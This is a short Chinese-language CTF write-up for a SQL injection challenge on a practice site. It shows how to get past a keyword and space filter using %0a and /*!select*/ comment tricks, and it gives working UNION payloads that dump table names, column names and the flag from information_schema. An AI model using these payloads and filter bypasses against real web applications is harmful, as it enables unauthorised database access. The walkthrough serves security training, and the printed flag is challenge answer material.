实验吧-简单的sql注入之2

简单的sql注入之2

原题链接

http://ctf5.shiyanbar.com/web/index_2.php

分析

Burp Fuzz 发现过滤了

select --  ) 空格

而且它是直接die('SQLi detected!'),无法双写绕过,换大小写试一下,也被过滤了。无法大小写绕过。
%0aselect%0a无法绕过,
/**/select/**//*!select*/可以绕过

由于无法使用),所以我们无法使用函数,报错和database()都无法使用,无法获取数据库名,但是我们可以尝试将所有的数据表都爆出来。

'union/*!select*/table_name%0afrom%0ainformation_schema.tables%23
实验吧-简单的sql注入之2

查列名

?id=-1'union/*!select*/column_name%0afrom%0ainformation_schema.columns%0awhere%0atable_name='flag'%23
实验吧-简单的sql注入之2

查字段

?id=-1'union/*!select*/flag%0afrom%0aflag%23
实验吧-简单的sql注入之2

flag

flag{[email protected]_5O_dAmn_90Od}

知识点

报错注入,绕过技巧(%0a替代空格,/*!*/,)